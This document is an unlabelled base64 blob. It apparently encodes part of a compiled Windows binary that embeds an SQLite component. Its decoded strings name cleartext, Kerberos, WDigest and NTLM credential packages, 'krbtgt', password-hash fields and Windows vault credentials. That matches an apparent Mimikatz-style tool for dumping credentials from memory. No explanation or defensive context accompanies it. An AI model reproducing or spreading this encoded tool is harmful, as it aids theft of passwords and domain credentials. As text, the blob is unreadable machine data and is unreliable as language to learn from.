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dAByAGkAYgB1AHQAZQBDAG8AdQBuAHQAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIAB1AG4AawAwACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIAB1AG4AawAxACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAFQAYQByAGcAZQB0AE4AYQBtAGUAIAAgACAAIAAgADoAIAAlAHMACgAAACUAKgBzACAAIABVAG4AawBEAGEAdABhACAAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAlACoAcwAgACAAQwBvAG0AbQBlAG4AdAAgACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAJQAqAHMAIAAgAFQAYQByAGcAZQB0AEEAbABpAGEAcwAgACAAIAAgADoAIAAlAHMACgAAACUAKgBzACAAIABVAHMAZQByAE4AYQBtAGUAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAlACoAcwAgACAAQwByAGUAZABlAG4AdABpAGEAbABCAGwAbwBiACAAOgAgAAAAAAAlACoAcwAgACAAQQB0AHQAcgBpAGIAdQB0AGUAcwAgACAAIAAgACAAOgAgACUAdQAKAAAAJQAqAHMAKgAqAEEAVABUAFIASQBCAFUAVABFACoAKgAKAAAAJQAqAHMAIAAgAEYAbABhAGcAcwAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABLAGUAeQB3AG8AcgBkACAAOgAgACUAcwAKAAAAAAAlACoAcwAgACAAVgBhAGwAdQBlACAAIAAgADoAIAAAAAAAAAAlACoAcwAqACoATABFAEcAQQBDAFkAIABDAFIARQBEAEUATgBUAEkAQQBMAFMAIABHAFIATwBVAFAAKgAqAAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AFYAZQByAHMAaQBvAG4AIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAcwB0AHIAdQBjAHQAUwBpAHoAZQAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIAAgACAAIAA6ACAAJQB1AAoAAAAlACoAcwAqACoATABFAEcAQQBDAFkAIABDAFIARQBEAEUATgBUAEkAQQBMACoAKgAKAAAAAAAAACUAKgBzACAAIABjAHIAZQBkAFMAaQB6AGUAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAKAAAAPwAAAGcAZQBuAGUAcgBpAGMAAABkAG8AbQBhAGkAbgBfAHAAYQBzAHMAdwBvAHIAZAAAAGQAbwBtAGEAaQBuAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAAAAAABkAG8AbQBhAGkAbgBfAHYAaQBzAGkAYgBsAGUAXwBwAGEAcwBzAHcAbwByAGQAAABnAGUAbgBlAHIAaQBjAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAAAAZABvAG0AYQBpAG4AXwBlAHgAdABlAG4AZABlAGQAAABuAG8AbgBlAAAAAABzAGUAcwBzAGkAbwBuAAAAbABvAGMAYQBsAF8AbQBhAGMAaABpAG4AZQAAAGUAbgB0AGUAcgBwAHIAaQBzAGUAAAAAACUAKgBzACoAKgBWAEEAVQBMAFQAIABQAE8ATABJAEMAWQAqACoACgAAAAAAJQAqAHMAIAAgAHYAZQByAHMAaQBvAG4AIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIAB2AGEAdQBsAHQAIAAgACAAOgAgAAAAJQAqAHMAIAAgAE4AYQBtAGUAIAAgACAAIAA6ACAAJQBzAAoAAAAAACUAKgBzACAAIAB1AG4AawAwAC8AMQAvADIAOgAgACUAMAA4AHgALwAlADAAOAB4AC8AJQAwADgAeAAKAAAAAAAlACoAcwAqACoAVgBBAFUATABUACAAUABPAEwASQBDAFkAIABLAEUAWQAqACoACgAAAAAAJQAqAHMAIAAgAHUAbgBrADAAIAAgADoAIAAAACUAKgBzACAAIAB1AG4AawAxACAAIAA6ACAAAAAlACoAcwAqACoAVgBBAFUATABUACAAQwBSAEUARABFAE4AVABJAEEATAAqACoACgAAAAAAJQAqAHMAIAAgAFMAYwBoAGUAbQBhAEkAZAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAdQBuAGsAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAEwAYQBzAHQAVwByAGkAdAB0AGUAbgAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAJQAqAHMAIA